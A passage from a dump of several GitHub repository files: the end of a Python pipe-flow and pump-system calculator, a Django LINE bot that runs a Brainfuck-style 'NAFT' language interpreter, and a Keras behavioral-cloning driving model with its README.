= Velocity at entrance. Will be used to get flowrate and velocities\r\n# Target = target head loss, will be used if no flowrate is provided to automatically fit\r\n# Flowrate = if provided will calculate velocities and losses in pipes, if not will iterate to find\r\n\r\n# --------- Additional tools\r\n# exit = if True will include the velocity at the exit as a loss\r\n# disp = display the results if True\r\n# minor_loss_pipe = if False will use the minor losses coefficient and their corresponding head to get the minor losses\r\n# can also be a number corresponding to the pipe velocity used to find losses.\r\n# minor_loss_pipe = 2 means the 3rd pipe (3rd in the list) will be used to calculate the minor losses\r\n# max_q = maximum flow to guess for iteration\r\n\r\n\r\nclass Subsystem:\r\n\r\n def __init__(self, pipe_list, Vis=0, Density=0, Target=0, Velocity_enter =False, Kin_vis=False, Flowrate=False, exit=False,\r\n minor_loss_pipe=False, disp=True, max_q=.5):\r\n \"\"\"\r\n :param pipe_list: List of pipes in system\r\n :param Vis: Viscosity of liquid\r\n :param Density: Density of liquid\r\n :param Target: Target head rise, defaults to 0\r\n :param Velocity_enter: Entrance velocity\r\n :param Kin_vis: Kinematic viscosity, bool or float\r\n :param Flowrate: Flowrate through the pipe\r\n :param exit: Consider the exit velocity? bool or float\r\n :param minor_loss_pipe: Which pipe is the minor losses relevant too? If False relevant to the pipe provided\r\n :param disp: Display the results?\r\n :param max_q: Maximum flowrate to consider with iteration\r\n \"\"\"\r\n self.friction_factors_list = []\r\n self.velocity_list = []\r\n self.re_list = []\r\n self.pipe_lost_list = []\r\n self.error = 0\r\n\r\n self.max_q = max_q\r\n self.velocity_enter = Velocity_enter\r\n self.pipes = pipe_list\r\n self.density = float(Density)\r\n self.target = float(Target)\r\n self.exit = exit\r\n\r\n self.minor_loss_pipe = minor_loss_pipe\r\n self.minor_loss = self.get_minor_loss()\r\n\r\n self.vis = Vis\r\n self.kin_vis = self.kin_vis_check(Kin_vis)\r\n\r\n self.flowrate = self.get_flowrate(Flowrate)\r\n\r\n self.head_loss = self.get_head_friction(self.flowrate)\r\n self.presure_drop = self.head_loss * self.density * 9.81\r\n self.power_out = self.flowrate * self.presure_drop\r\n if disp:\r\n self.summary()\r\n\r\n def kin_vis_check(self, Kin_vis):\r\n if Kin_vis == False:\r\n return self.vis/self.density\r\n else:\r\n return Kin_vis\r\n\r\n def get_minor_loss(self):\r\n minor = 0\r\n for pipe in self.pipes:\r\n minor = minor + pipe.minor_loss\r\n return minor\r\n\r\n def get_friction_factor(self, reynolds, pipe):\r\n if reynolds < 2300:\r\n return 64 / reynolds\r\n else:\r\n ratio = pipe.roughness/pipe.diameter\r\n inner = 6.9 / reynolds + (ratio/3.7)**(1.11)\r\n return (1/(-1.8*math.log(inner, 10)))**2\r\n\r\n def get_head_friction(self, flowrate):\r\n loss = 0\r\n friction_factors = []\r\n velocity_list = []\r\n re_list = []\r\n pipe_lost_list = []\r\n\r\n for pipe in self.pipes:\r\n velocity = flowrate / pipe.area\r\n re = velocity * pipe.diameter / self.kin_vis\r\n friction_factor = self.get_friction_factor(re, pipe)\r\n pipe_loss = friction_factor * pipe.length/pipe.diameter * (velocity**2) / (2*9.81) + \\\r\n pipe.pressure_drop * 10**3 / (self.density * 9.81) + pipe.height\r\n loss = loss + pipe_loss\r\n\r\n pipe_lost_list.append(pipe_loss)\r\n friction_factors.append(friction_factor)\r\n velocity_list.append(velocity)\r\n re_list.append(re)\r\n\r\n self.friction_factors_list = friction_factors\r\n self.velocity_list = velocity_list\r\n self.re_list = re_list\r\n self.pipe_lost_list = pipe_lost_list\r\n\r\n if self.exit == True:\r\n velocity_loss = (flowrate / (3.14159/4 * self.pipes[-1].D_exit**2))**2 / (2*9.81)\r\n else:\r\n velocity_loss = 0\r\n\r\n if self.minor_loss_pipe != False:\r\n minor_loss = (flowrate / self.pipes[self.minor_loss_pipe].area)**2 * self.minor_loss / (2*9.81)\r\n\r\n else:\r\n minor_loss = 0\r\n for i in range(len(velocity_list)):\r\n minor_loss = minor_loss + velocity_list[i]**2 * self.pipes[i].minor_loss / (2* 9.81)\r\n\r\n return minor_loss + loss + velocity_loss\r\n\r\n def get_flowrate(self, Flowrate):\r\n\r\n if Flowrate != False:\r\n return Flowrate\r\n if self.velocity_enter != False:\r\n self.get_head_friction(self.velocity_enter * self.pipes[0].area)\r\n return self.velocity_enter * self.pipes[0].area\r\n else:\r\n print(\"Performing Iteration to get flowrate\")\r\n flowrate_guess = .00001\r\n system_array = np.array([10000.00, 10000.00])\r\n\r\n while flowrate_guess < self.max_q:\r\n head = abs(self.get_head_friction(flowrate_guess) - self.target)\r\n system_array = np.vstack((system_array, [head, flowrate_guess]))\r\n flowrate_guess = flowrate_guess + .00001\r\n print(system_array)\r\n self.error = system_array[np.argmin(system_array[:, 0]), :][0]\r\n\r\n return system_array[np.argmin(system_array[:, 0]), :][1]\r\n\r\n def summary(self):\r\n print(\"----------------------------\")\r\n print(\"Flowrate is: %f\" % self.flowrate)\r\n print(\"Pressure drop is %f Pa\" % self.presure_drop)\r\n print(\"Total System Head Loss %f m\" % self.head_loss)\r\n print(\"Power needed to overcome head it %f W\" % self.power_out)\r\n print(\"error is\")\r\n print(self.error)\r\n print(\"----------------------------\")\r\n print(\"Friction Factor List:\")\r\n print(self.friction_factors_list)\r\n print(\"Velocity List\")\r\n print(self.velocity_list)\r\n print(\"Reynolds List\")\r\n print(self.re_list)\r\n print(\"Losses List\")\r\n print(self.pipe_lost_list)\r\n\r\n\"\"\"\r\nPump System \r\n\"\"\"\r\n# ------------ Needed variables\r\n# Subsystem = object of class subsystem. NOTE: The flowrate doesnt need to be correct here will guess regardless\r\n# --- One of\r\n# flowrate_array and head_array = np array containing flowrate and head values to be fitted\r\n# ploynomial = array in the form np.array([x^2 coef, x coef, x^0 coef ])\r\n# H(Q) = 3 Q^2 + 2Q + 3 np.array([3,2,3])\r\n\r\n# ------------ Additional Tools\r\n# Terms = number of terms used for poly fit\r\n# number_pumps = number of pumps used\r\n# char = pump arrangment either\r\n# S = Series\r\n# P = Parallel\r\n# Other values = NPSH Coefficents\r\n\r\n\r\nclass pump_system:\r\n def __init__(self, Subsystem, flowrate_array =[], head_array=[], polynomial=False, Flowrate=False, terms=2,\r\n number_pumps=1, Char=False, Z_i=0, H_fi=0 ,P_v=0, diameter_pump=1, n=1):\r\n \"\"\"\r\n :param Subsystem: Object of class subsystem\r\n :param flowrate_array: Flowrate values if a table is provided\r\n :param head_array: Head values if a table is provided\r\n :param polynomial: Polynomial to describe flowrate as a function of head\r\n :param Flowrate: bool or float, will iterate to get flowrate if false\r\n :param terms: Number of terms to use for polynomial fit, defaults to 2\r\n :param number_pumps: Number of pumps\r\n :param Char: Character describing the pump configuration\r\n :param Z_i: NPSH Z value\r\n :param H_fi: NPSH H value\r\n :param P_v: NPSH pressue value\r\n :param diameter_pump: Diameter of the pump, needed if want to-do a pump transform\r\n :param n: RPM value for the pump, need if want to-do a pump transform\r\n \"\"\"\r\n self.subsystem = Subsystem\r\n self.x_array = flowrate_array\r\n self.y_array = head_array\r\n self.terms = terms\r\n # Parallel and series\r\n self.char = Char\r\n self.number_pumps = float(number_pumps)\r\n\r\n self.diameter = diameter_pump\r\n self.n = n\r\n self.poly_fit = self.get_poly_fit(polynomial)\r\n self.flowrate = self.get_flowrate(Flowrate)\r\n\r\n # NPSH\r\n self.z_i = Z_i\r\n self.h_fi = H_fi\r\n self.p_v = P_v\r\n self.summary()\r\n\r\n def get_poly_fit(self, polynomial):\r\n if polynomial != False:\r\n print(\"Using Given Poly\")\r\n array = np.array(polynomial)\r\n array = array.astype(float)\r\n return np.poly1d(array)\r\n else:\r\n return np.poly1d(np.polyfit(self.x_array, self.y_array, self.terms))\r\n\r\n def get_flowrate(self, Flowrate):\r\n\r\n if self.char == \"S\":\r\n H_correction = self.number_pumps\r\n F_correction = 1\r\n if self.char == \"P\":\r\n H_correction = 1\r\n F_correction = 1/float(self.number_pumps)\r\n else:\r\n H_correction = 1\r\n F_correction = 1\r\n\r\n if Flowrate != False:\r\n return Flowrate\r\n else:\r\n print(\"Iterating to get Flowrate\")\r\n system_array = np.array([])\r\n flowrate_array = np.array([])\r\n Q = 0.1\r\n while Q < 2:\r\n head_pump = self.poly_fit(Q * F_correction) * H_correction\r\n h_system = self.subsystem.get_head_friction(Q)\r\n system_array = np.append(system_array, [head_pump - h_system])\r\n flowrate_array = np.append(flowrate_array, Q)\r\n Q = Q + .1\r\n\r\n return np.roots(np.polyfit(flowrate_array, system_array, self.terms))\r\n\r\n def transform(self, d_new=False, n_new=False):\r\n if n_new == False:\r\n n_new = self.n\r\n if d_new == False:\r\n d_new = self.diameter\r\n self.y_array = self.y_array * (d_new/self.diameter)**2 * (n_new/self.n)**2\r\n self.x_array = self.x_array * (d_new/self.diameter)**3 * (n_new/self.n)\r\n self.poly_fit = self.get_poly_fit(False)\r\n self.flowrate = self.get_flowrate(False)\r\n\r\n self.summary()\r\n\r\n def summary(self):\r\n print(\"----------------------\")\r\n print(\"Flowrate for the system in m^3 / s\")\r\n print(self.flowrate)\r\n print(\"Polynomial Fit is:\")\r\n print(self.poly_fit)\r\n\r\n def get_NPSH(self):\r\n return 101*10**3 / (self.subsystem.density * 9.81) - self.z_i - \\\r\n self.h_fi - self.p_v / (self.subsystem.density * 9.81)\r\n\r\n\r\n" } ]
2
mwtndmik/line_bot
https://github.com/mwtndmik/line_bot
0614bd4068641117a60bf6f887a413bff613f8e9
e2cdf0e1b96a51ed0900abd5cafb469a349ffed5
e9c97fe7b052b8a041edfe22492ada5512bc85fb
refs/heads/master
2020-05-28T08:24:16.945573
2018-03-12T18:49:05
2018-03-12T18:49:05
93,979,107
0
1
null
2017-06-11T03:21:39
2017-06-11T03:22:37
2017-06-16T12:37:51
Python
[ { "alpha_fraction": 0.5996847748756409, "alphanum_fraction": 0.6012608408927917, "avg_line_length": 27.840909957885742, "blob_id": "59f6d522da7762d3735e1b3394272bda8bde9026", "content_id": "4a70ab968d94be0ce5a2536e5c243dbc5758bcb5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1359, "license_type": "permissive", "max_line_length": 82, "num_lines": 44, "path": "/line_api/linebot/views.py", "repo_name": "mwtndmik/line_bot", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nimport json\nimport requests\nfrom reply_maker import make_reply\n\n# Create your views here.\nREPLY_ENDPOINT = 'https://api.line.me/v2/bot/message/reply'\nACCESS_TOKEN = 'ACCESS TOKEN'\n\n#test\ndef index(request):\n return HttpResponse(\"This is bot api.\")\n\n#request受信\ndef callback(request):\n reply = \"\"\n request_json = json.loads(request.body.decode('utf-8')) # requestの情報をdict形式で取得\n for e in request_json['events']:\n reply_token = e['replyToken'] # 返信先トークンの取得\n message_type = e['message']['type'] # typeの取得\n\n if message_type == 'text':\n text = e['message']['text'] # 受信メッセージの取得\n reply += reply_text(reply_token, text) # LINEにセリフを送信する関数\n return HttpResponse(reply)\n\ndef reply_text(reply_token, text):\n reply = make_reply(text)\n header = {\n \"Content-Type\": \"application/json\",\n \"Authorization\": \"Bearer \" + ACCESS_TOKEN\n }\n payload = {\n \"replyToken\":reply_token,\n \"messages\":[\n {\n \"type\":\"text\",\n \"text\": reply\n }\n ]\n }\n requests.post(REPLY_ENDPOINT, headers=header, data=json.dumps(payload))\n return reply\n" }, { "alpha_fraction": 0.38734740018844604, "alphanum_fraction": 0.4003884494304657, "avg_line_length": 27.785123825073242, "blob_id": "37f48660cd787050130c6411ecfec3f8915bed4f", "content_id": "e70a104b1bf58e28b063ebe62683dcb022fcfbef", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3604, "license_type": "permissive", "max_line_length": 130, "num_lines": 121, "path": "/line_api/linebot/reply_maker.py", "repo_name": "mwtndmik/line_bot", "src_encoding": "UTF-8", "text": "def make_reply(text):\r\n return naft_exec(text)\r\n\r\ndef bf_exec(code,input=\"\",n_step=1024,n_size = 1024):\r\n memory = [0] * n_size\r\n index = 0\r\n exec_addr = 0\r\n ret = \"\"\r\n bracket_addr = []\r\n \r\n for i in range(n_step):\r\n if exec_addr >= len(code):\r\n break\r\n \r\n #print(code)\r\n #print(\" \" * exec_addr + \"^\")\r\n \r\n \r\n if code[exec_addr] == '+':\r\n # increment data\r\n memory[index] = (memory[index] + 1 + 256 ) % 256\r\n elif code[exec_addr] == '-':\r\n # decrement data\r\n memory[index] = (memory[index] - 1 + 256 ) % 256\r\n elif code[exec_addr] == '>':\r\n # increment data pointer\r\n index = (index+1+n_size)%n_size\r\n elif code[exec_addr] == '<':\r\n # decrement data pointer\r\n index = (index-1+n_size)%n_size\r\n elif code[exec_addr] == ',':\r\n # input one character\r\n if input == \"\":\r\n memory[index]=0\r\n else:\r\n memory[index]=ord(input[0])\r\n input = input[1:]\r\n elif code[exec_addr] == '.':\r\n # output one character\r\n ret = ret + chr(memory[index])\r\n elif code[exec_addr] == '[':\r\n # loop start\r\n if memory[index] == 0:\r\n # skip to ]\r\n n = 1\r\n for j in range(exec_addr+1,len(code)):\r\n if code[j] == ']':\r\n n-=1\r\n elif code[j] == '[':\r\n n+=1\r\n \r\n if n == 0:\r\n exec_addr = j\r\n break\r\n else:\r\n # push \"[\" address into stack\r\n bracket_addr.append(exec_addr)\r\n elif code[exec_addr] == ']':\r\n # end of loop\r\n if len(bracket_addr) == 0:\r\n pass\r\n else:\r\n # pop address\r\n exec_addr = bracket_addr.pop()-1\r\n \r\n exec_addr += 1\r\n \r\n return ret\r\n\r\ndef naft_exec(naft_code,input=\"\",n_step=1024,n_size = 1024):\r\n return bf_exec(to_bf(naft_code),input,n_step,n_size)\r\n\r\ndef to_naftlang(bf_code):\r\n naft_code=[]\r\n dict = {\r\n \"+\":\"NAFT\",\r\n \"-\":\"Nagoya\",\r\n \">\":\"University\",\r\n \"<\":\"Aerospace\",\r\n \".\":\"and\",\r\n \",\":\"Flight\",\r\n \"[\":\"Technologies\",\r\n \"]\":\"linkspace\"\r\n }\r\n for c in bf_code:\r\n if c in dict:\r\n naft_code.append(dict[c])\r\n return \" \".join(naft_code)\r\n\r\ndef to_bf(naft_code):\r\n naft_code = naft_code.replace(\"\\r\",\" \")\r\n naft_code = naft_code.replace(\"\\n\",\" \")\r\n \r\n splited_code = naft_code.split(' ')\r\n bf_code = \"\"\r\n # NAFT: Nagoya University Aerospace and Flight Technologies\r\n dict = {\r\n \"NAFT\":\"+\",\r\n \"Nagoya\":\"-\",\r\n \"University\":\">\",\r\n \"Aerospace\":\"<\",\r\n \"and\":\".\",\r\n \"Flight\":\",\",\r\n \"Technologies\":\"[\",\r\n \"linkspace\":\"]\"\r\n }\r\n \r\n for cmd in splited_code:\r\n if cmd in dict:\r\n bf_code += dict[cmd]\r\n \r\n return bf_code\r\n\r\nif __name__==\"__main__\":\r\n hw = \"+++++++++[>++++++++>+++++++++++>+++++<<<-]>.>++.+++++++..+++.>-.------------.<++++++++.--------.+++.------.--------.>+.\"\r\n echos = \"+[>,.<]\"\r\n print( to_naftlang(hw) )\r\n print( to_bf(to_naftlang(hw)) == hw )\r\n print( to_bf(to_naftlang(echos)) == echos )\r\n print( naft_exec(to_naftlang(hw)))\r\n print( naft_exec(to_naftlang(echos),input=\"abcdefg\"))\r\n" } ]
2
andrestarra/contactos_django
https://github.com/andrestarra/contactos_django
78e0be56b5b939b8cc6973d4ee42de2089f20b70
5724d7e648f87f9ed14b80a38dcfbe61233bc411
e4ab376d9666e269f7a6befae8d84d27155cee07
refs/heads/main
2023-03-08T01:01:02.082305
2021-02-22T01:45:21
2021-02-22T01:45:21
341,044,021
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8041958212852478, "alphanum_fraction": 0.8041958212852478, "avg_line_length": 27.600000381469727, "blob_id": "1e4ca713c4ae2dacb53df4952704a086fc02b8fb", "content_id": "d928d763b1b19e736e1096e5119a6d11697b7b12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 143, "license_type": "no_license", "max_line_length": 51, "num_lines": 5, "path": "/aplicaciones/principal/admin.py", "repo_name": "andrestarra/contactos_django", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Persona\n\n# Para que el modelo Persona salga en el Admin Site\nadmin.site.register(Persona)\n" } ]
1
Saki147/CarND-Behavioral_Cloning
https://github.com/Saki147/CarND-Behavioral_Cloning
b6a348fb9d1c4309d71c6c2b99bc021e6218c33a
6609f0bc38a2aa200e4c613a99a76882b19716e2
75226722c9256d93d059c6aba82e87f2b898b50b
refs/heads/master
2020-04-09T23:18:17.678634
2018-12-11T15:12:07
2018-12-11T15:12:07
160,652,950
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.570039689540863, "alphanum_fraction": 0.5950978994369507, "avg_line_length": 39.57222366333008, "blob_id": "4083b27ba916407000a3869a6a38c12233ddce9c", "content_id": "49bd9a5f8f8ca7694d87a3430fab564695f2bd5c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7303, "license_type": "permissive", "max_line_length": 99, "num_lines": 180, "path": "/model.py", "repo_name": "Saki147/CarND-Behavioral_Cloning", "src_encoding": "UTF-8", "text": "from scipy import ndimage\nimport csv\nimport cv2\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nimport sklearn\nfrom sklearn.utils import shuffle\nimport matplotlib.pyplot as plt\nfrom keras.models import Sequential, Model\nfrom keras.layers.convolutional import Conv2D, Cropping2D\nfrom keras.layers import Flatten, Dense, Lambda\nfrom keras.layers.core import Dropout\n\n\ndef random_brightness(image):\n image1 = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\n random_bright = 0.8 + 0.4 * (2 * np.random.uniform() - 1.0)\n image1[:, :, 2] = image1[:, :, 2] * random_bright\n image1 = cv2.cvtColor(image1, cv2.COLOR_HSV2RGB)\n return image1\n\n\ndef preprocess(images, measurements):\n # flip the images and measurements\n steering_angles = []\n images_pro = []\n for measurement in measurements:\n steering_angles.append(measurement)\n measurement_flipped = -measurement\n steering_angles.append(measurement_flipped)\n\n for image in images:\n # change the brightness\n image1 = random_brightness(image)\n images_pro.append(image1)\n\n # flip the image\n image_flipped = np.fliplr(image)\n images_pro.append(image_flipped)\n\n return images_pro, steering_angles\n\n\ndef generator(samples, sample_size=21):\n num_samples = len(samples)\n while 1: # Loop forever so the generator never terminates\n shuffle(samples)\n for offset in range(0, num_samples, batch_size):\n batch_samples = samples[offset:offset + batch_size]\n\n images = []\n measurements = []\n\n for line in batch_samples:\n for i in range(3):\n source_path = line[i]\n filename = source_path.split('/')[-1]\n #I have moved the data folder under the opt folder\n # current_path = '../../opt/data/IMG/'+filename\n current_path = './data/IMG/' + filename\n image = ndimage.imread(current_path)\n images.append(image)\n\n # create adjusted steering measurements for the side camera images\n correction = 0.2 # this is a parameter to tune\n if i == 0:\n angle = float(\n line[3]) # steering angle for centre camera image\n elif i == 1:\n angle = float(line[\n 3]) + correction # steering angle for left camera image\n else:\n angle = float(line[\n 3]) - correction # steering angle for right camera image\n\n measurements.append(angle)\n\n # this will twice the samples size\n X_train, y_train = preprocess(images, measurements)\n X_train, y_train = sklearn.utils.shuffle(X_train, y_train)\n yield (np.array(X_train), np.array(y_train))\n\n def valid_generator(valid_samples, sample_size=21):\n num_samples = len(samples)\n while 1: # Loop forever so the generator never terminates\n shuffle(samples)\n for offset in range(0, num_samples, batch_size):\n batch_samples = samples[offset:offset + batch_size]\n\n images = []\n measurements = []\n\n for line in batch_samples:\n for i in range(3):\n source_path = line[i]\n filename = source_path.split('/')[-1]\n #I have moved the data folder under the opt folder\n # current_path = '../../opt/data/IMG/'+filename\n current_path = './data/IMG/' + filename\n image = ndimage.imread(current_path)\n images.append(image)\n\n # create adjusted steering measurements for the side camera images\n correction = 0.2 # this is a parameter to tune\n if i == 0:\n angle = float(\n line[3]) # steering angle for centre camera image\n elif i == 1:\n angle = float(line[\n 3]) + correction # steering angle for left camera image\n else:\n angle = float(line[\n 3]) - correction # steering angle for right camera image\n\n measurements.append(angle)\n \n X_valid, y_valid = sklearn.utils.shuffle(images, measurements)\n yield (np.array(X_valid), np.array(y_valid))\n\nlines = []\n#I have moved the data folder under the opt folder\n# with open('../../opt/data/driving-log.csv', 'r') as f:\nwith open('./data/driving_log.csv', 'r') as f:\n reader = csv.reader(f)\n for line in reader:\n lines.append(line)\n\ntrain_samples, validation_samples = train_test_split(lines, test_size=0.2)\nprint(len(train_samples))\nprint(len(validation_samples))\n\nmodel = Sequential()\n# normalize the images\nmodel.add(Lambda(lambda x: (x / 255.0) - 0.5, input_shape=(160, 320, 3), name = 'Normalization'))\n# crop the iamge\nmodel.add(Cropping2D(cropping=((50, 20), (0, 0)), input_shape=(160, 320, 3), name = 'Cropping'))\n# model architecture\n# convolution\nmodel.add(Conv2D(24, 5, strides=(2, 2), activation=\"elu\", name ='Conv1')) #output = 158x43x24\nmodel.add(Conv2D(36, 5, strides=(2, 2), activation=\"elu\", name = 'Conv2' )) #output = 77x22x36\nmodel.add(Conv2D(48, 5, strides=(2, 2), activation=\"elu\", name = 'Conv3')) #output = 37x7x64\nmodel.add(Conv2D(64, 3, activation=\"elu\", name = 'Conv4' )) #output = 35x7x64\nmodel.add(Conv2D(64, 3, activation=\"elu\", name = 'Conv5')) #output = 32x5x64\nmodel.add(Flatten(name ='Flat1')) #output = 10240\nmodel.add(Dropout(0.5, name = 'Dropout1'))\n# fully connection\nmodel.add(Dense(100, name = 'FullyCon1')) #output = 100\nmodel.add(Dropout(0.5, name = 'Dropout2'))\nmodel.add(Dense(50, name = 'FullyCon2')) #output = 50\nmodel.add(Dense(10, name = 'FullyCon3')) #output = 10\nmodel.add(Dense(1, name = 'Output')) #output = 1\nplot_model(model,to_file='model.png') #visualize the model\n\n# generate the training and validation dataset, the generator output has the\n# twice size as the batch_size\ntrain_generator = generator(train_samples, sample_size=21)\nvalidation_generator = valid_generator(validation_samples, sample_size=21)\n\n# compile and fit the model\nmodel.compile('adam', 'mse')\nbatch_size = 126\nhistory_object = model.fit_generator(train_generator, steps_per_epoch=\nint(2*len(train_samples) / batch_size), validation_data=validation_generator,\n validation_steps=int(len(validation_samples) / batch_size),\n epochs=8, verbose=1)\n\nmodel.save('./model1.h5')\n\n# visualize the training and validation loss\n### print the keys contained in the history object\nprint(history_object.history.keys())\n\n### plot the training and validation loss for each epoch\nplt.plot(history_object.history['loss'])\nplt.plot(history_object.history['val_loss'])\nplt.title('model mean squared error loss')\nplt.ylabel('mean squared error loss')\nplt.xlabel('epoch')\nplt.legend(['training set', 'validation set'], loc='upper right')\nplt.show()\n" }, { "alpha_fraction": 0.7656430602073669, "alphanum_fraction": 0.7789193987846375, "avg_line_length": 55.24675369262695, "blob_id": "f74b3f6b08373e3711898213ab948ae1f4e3ee19", "content_id": "a52cfecd737e77b761369432c213c96974030bef", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 8672, "license_type": "permissive", "max_line_length": 444, "num_lines": 154, "path": "/README.md", "repo_name": "Saki147/CarND-Behavioral_Cloning", "src_encoding": "UTF-8", "text": "# Behavioral Cloning Project\n\n[![Udacity - Self-Driving Car NanoDegree](https://s3.amazonaws.com/udacity-sdc/github/shield-carnd.svg)](http://www.udacity.com/drive)\n\nOverview\n---\nThis repository contains important files for the Behavioral Cloning Project:\n* model.py (script used to create and train the model)\n* drive.py (script to drive the car - feel free to modify this file)\n* model.h5 (a trained Keras model)\n* writeup_report.md (a report writeup file (either markdown or pdf)\n* run.mp4 (a video recording of your vehicle driving autonomously around the track for at least one full lap)\n\n\nIn this project, the training dataset was collected from a Unity simulation driving game. The driving environment is only one lane on the road. There are two lane road which can be trained in further works. I used deep neural networks and convolutional neural networks to clone driving behavior. I also trained, validated and tested a model using Keras. In the testing simulation, the model can output a steering angle to an autonomous vehicle.\n\nUdacity has provided a simulator where I can steer a car around a track for data collection. I used image data and steering angles to train a neural network and then use this model to drive the car autonomously around the track. It would be good to play with joystick so that the driving behaviour will be more appropriate with smoother steering angles and the speed change.\n\nThe goals / steps of this project are the following:\n* Use the simulator to collect data of good driving behavior\n* Build, a convolution neural network in Keras that predicts steering angles from images\n* Train and validate the model with a training and validation set\n* Test that the model successfully drives around track one without leaving the road\n* Summarize the results with a written report\n\n\n[//]: # (Image References)\n\n[image1]: ./report_images/model_architecture.jpeg \"Model Architecture Reference\"\n[image2]: ./report_images/center_drive.jpg \"Center Lane Drive\"\n[image3]: ./report_images/left_recovery1.jpg \"Recovery Image\"\n[image4]: ./report_images/left_recovery2.jpg \"Recovery Image\"\n[image5]: ./report_images//left_recovery3.jpg \"Recovery Image\"\n[image6]: ./report_images/loss_result.png \"Loss Result\"\n\n## Rubric Points\n### Here I will consider the [rubric points](https://review.udacity.com/#!/rubrics/432/view) individually and describe how I addressed each point in my implementation. \n\n---\n### Files Submitted & Code Quality\n\n#### 1. All required files and can be used to run the simulator in autonomous mode\n\nMy project includes the following files:\n* model.py containing the script to create and train the model\n* drive.py for driving the car in autonomous mode\n* model.h5 containing a trained convolution neural network \n* writeup_report.md summarizing the results\n\n#### 2. Functional code\nUsing the Udacity provided simulator and my drive.py file, the car can be driven autonomously around the track by executing \n```sh\npython drive.py model.h5\n```\n\nThe autonomous driving video can be recorded by \n```sh\n#record the autonomous mode in 'run1' folder\npython drive.py model.h5 run1\n#generate the recording video as 'run1.mp4'\npython video.py run1\n```\n\n#### 3. Submission code is usable and readable\n\nThe model.py file contains the code for training and saving the convolution neural network. \nThe file shows the pipeline I used for training and validating the model, and it contains comments to explain how the code works.\n\n### Model Architecture and Training Strategy\n\n#### 1. An appropriate model architecture has been employed\n[1]: https://images.nvidia.com/content/tegra/automotive/images/2016/solutions/pdf/end-to-end-dl-using-px.pdf \"Nvidia reference link\"\n\nMy model is based on the architecture by NVIDIA's paper [End-to-End Learning for Self-Driving Cars][1]. This is a \nmodel example:\n![alt text][image1] \n\nMy model consists 10 layers including normalization, cropping, convolutions, and fully connected layers. I first \nnormalized the data using a Keras lambda layer (model.py lines 96) to set the values between -0.5 and 0.5, which can \nalso speed up the GPU processing. The second layer is the cropping (model.py lines 98), thus only the road part is \nremained, and the input information is more targeted. Then I set 3 convolution layers (model.py lines 101-103) with 5x5 \nfilters and 2x2 strides, followed by 2 convolution layers (model.py lines 104-105) with 3x3 filters and \nnon-strides. These are utilized to extract the features. The depth of the convolution layers increases from 3 to 64, \nand the ELU activation instead of RELU is used to make the result more robust. As demonstrated in the NVIDIA's paper,\n the layers number is chosen empirically and ends up with a good simulation result. After the convolution layers, there \nare 3 fully connected layers (model.py lines 109-112) which seems acted like a controller. \n\n\n#### 2. Attempts to reduce overfitting in the model\n\nThe model contains dropout layers in order to reduce overfitting (model.py lines 106). \n\nThe model was trained and validated on different data sets to ensure that the model was not overfitting (code line \n90). The training and validation images were generated by random batches with size 126. The images were flipped to \nget more data and reduce the bias of the steering angles distribution. \n\nThe model was tested by running it through the simulator and ensuring that the vehicle could stay on the track.\n\n#### 3. Model parameter tuning\n\nThe model used an adam optimizer, so the learning rate was not tuned manually (model.py line 120).\n\n#### 4. Creation of the Training Set & Training Process\n\nTraining data was chosen to keep the vehicle driving on the road. When collecting the data, I mainly kept the car in \nthe center lane. Three images from left, center, and right cameras were taken to augment the training data as \nwell as the driving situation. The steering angles corresponding to images taken by the left and right cameras are \nmodified a bit, so that the model can learn to steer the car back to the center. \n\nTo capture good driving behavior, I first recorded two laps on track one using center lane driving. Here is an example \nimage of center lane driving:\n\n![alt text][image2]\n\nI also recorded the vehicle recovering from the left side and right sides of the road back to center so that the \nvehicle would learn to recover from the side to the lane center and prevent driving off the road. These images show what a \nrecovery looks like starting from the right side :\n\n![alt text][image3]\n![alt text][image4]\n![alt text][image5]\n\nAfter the collection process, I then preprocessed this data by randomly modifying the\n images brightness. In addition, I flipped all the images and angles, added them to the dataset, which can augment \n the data. Thus, I had 43590 number of data points\n\n\nI finally randomly shuffled the data set and put 20% of the data into a validation set. \n\nI used this training data for training the model. The validation set helped determine if the model was over or under fitting. \nThe generator is used to only get a batch of data during each training iteration, to save the memory. The batch size \ninput into the model is actually 126, while the input into the generator is 22, because each sample in csv file \ncontains 3 images, and the flipping process in the generator function will twice the size of the data. The ideal number of epochs was 8 as it shows a good result \nand also save training time. I used an adam optimizer so that manually training the learning rate was not necessary. \n\nThe training and validation loss for each epoch is shown as below:\n![alt text][image6]\n\n\n### Autonomous Mode Simulation \n\nThe result of training model can be tested and visualized by an autonomously drive by: \n```sh\npython drive.py model.h5\n```\nIf the speed is set to be 10 mph, the car can keep on the lane center and drive smoothly. This simulation video is \nshown in 'run.mp4'. When I set the speed to be 20 mph, the car will still keep inside the lane, but sometimes will \nsteer too much so that it will drive left and right when go advance. I think this issue may be due to the lack of \ntraining data in high speed and with smooth steering angles. I do not have a joystick to control the car, and by the \nkeyboard it is hard to control the steering angle in high speed as well as keep it in the lane. Therefore, the data is collected \nmainly under a speed of 12mph. \n\nFor the further improvement, the training on track two can be implemented and the model can be tested and modified. A\n joystick can be bought to control the car, which can reach a better result when driving in higher speed.\n" } ]
2
felixludos/mb-rl
https://github.com/felixludos/mb-rl
42cce3a2c0582d08bea7e3266dfabea2ab503b4e
3803019803d5843584461d58f63ee876c88b376b
ec55edcaccc24d8c6fd56e53a242a337de925336
refs/heads/master
2021-07-20T15:01:15.851463
2017-10-25T00:40:21
2017-10-25T00:40:21
null
0
0
null
null
null
null
null
